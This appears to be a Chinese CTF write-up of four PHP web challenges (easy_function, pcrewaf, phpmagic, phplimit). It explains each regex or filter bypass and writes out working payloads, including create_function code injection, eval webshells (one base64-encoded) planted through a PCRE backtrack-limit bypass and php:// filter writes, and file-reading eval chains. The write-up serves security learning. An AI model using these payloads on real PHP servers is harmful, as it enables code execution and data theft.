code breaking

1.easy_function

代碼如下

  <?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

這段代碼很簡單,首先判斷有沒有傳入,沒有傳入的話就爲空,然後正則匹配,你輸入的action變量首字符不能是字母,數字。
如何繞過正則呢,可以投機一下,直接fuzz測試,結果爲\,爲什麼是這個呢?因爲在php中,\是函數的默認命名空間。那如何執行命令呢,可以用create_function()這個函數,php手冊這樣介紹的。

在這裏插入圖片描述

示例如下:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?> 

我們可以控制第二個參數,這樣就能getflag了。

<?php
create_function('$a,$b', 'return 1;} phpinfo();//');

 這個會返回phpinfo的結果

最終payload
在這裏插入圖片描述先讀取文件名
在這裏插入圖片描述

2.pcrewaf

代碼如下

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1

這段代碼直接爲你創造了php,但是輸入的內容要繞過正則匹配,<?php後面如果有(`;?>就會被匹配到。如何繞過這個呢?這裏繞過姿勢真的騷,p牛文章裏有詳細介紹。

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

正則匹配分爲兩種:DFA模式和NFA模式 ,其中NFA會進行回溯,其中回溯次數有最大限制

php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"

如果超過了這個,就會返回flase

php > var_dump(preg_match('/<\?.*[(`;?>].*/is','<? @eval($_POST[‘ha’]);//'.str_repeat('c',1000000)));
bool(false)

因此造成了繞過。
payload.php 內容爲
在這裏插入圖片描述 運行生成upload.txt
然後curl過去
在這裏插入圖片描述最終getflag

 http://xxx.com/data/xxxxx/x.php?ha=var_dump(scandir('../../../'));

  http://xxx.com/data/xxxxx/x.php?ha=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

學習了,學習了。

三.phpmagic

代碼如下:

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);
    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
	endif;
?>

我們可以傳domain,傳log_name,但是過濾的卻很嚴格,讓人難以入手,我們一步一步來。
1.domain參數,首先我們肯定是不能直接傳一句話進去的,那我們想一想是不是可以base64或者其他方式加密一下,但是加密後,又無法解密,還是難以利用。
這個時候想到file_get_contents可以用php僞協議讀取,那麼file_put_contents是否也支持僞協議呢,然後本地試驗了一下,發現還真可以,那麼domain這個問題解決了。
2.log_name參數,代碼中我們可以知道log_name是SERVER[SERVERNAME]._SERVER['SERVER_NAME'] .和log_name組成的,那麼查一下手冊就可以知道,server_name是host的值,所以我們只要改變host的值就可以實現php僞協議寫入。
在這裏插入圖片描述3.如何繞過文件名檢查呢?可以用1.php/. 來繞過。

4.開始上傳

php > echo base64_encode('<?php @eval($_REQUEST["666"]);?>');
PD9waHAgQGV2YWwoJF9SRVFVRVNUWyI2NjYiXSk7Pz4=

burp發包
在這裏插入圖片描述但是我訪問hello.php卻什麼都沒有呢????這裏有一個坑點,就是php中base64在解碼的時候,如果有除了這64個字符之外的字符,就會直接跳過,=等號只能放在最後面,但是顯然在文件中=號不是在最後的,所以上傳的時候不能加=號。
最後得到flag
在這裏插入圖片描述這一個題目包含了很多知識點,自己還是tcl,學習了。

四.phplimit

題目代碼很簡單

 <?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

這個代碼很簡單,正則匹配的(?R),這個意思是重複前面的,也就是這個正則只能匹配形如這樣的,fun(func()); ,哎 自己還是太菜了,看了師傅們的wp,學習了很多。
解法1:
get_defined_vars函數,這個函數能返回已定義變量所組成的數組。其中就有$_GET和 $_POST。那麼我們就可以發傳入一個參數,然後用get_defined_vars這個函數來獲取。
payload如下:

 ?code=eval(next(current(get_defined_vars())));&a=print_r(scandir(getcwd()));		

解法2:
session_id()函數,用來獲取當前用戶的phpsessid。
session_start() 會創建新會話或者重用現有會話。如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID,則會重用現有會話。
hex2bin — 轉換十六進制字符串爲二進制字符串。
利用這三個函數我們就可以進行一些操作。
在這裏插入圖片描述解法3:
dirname函數給出一個包含有指向一個文件的全路徑的字符串,本函數返回去掉文件名後的目錄名。
chdir函數將目錄切換到當前目錄。
例如:

 var_dump(getcwd()); //     /phpstudy/www/123
 var_dump(chdir(dirname(getcwd())); //   /phpstudy/www

因此我們可以構造payload:
var_dump(scandir(dirname(chdir(dirname(getcwd())))));
得到

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" } 

最終payload
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章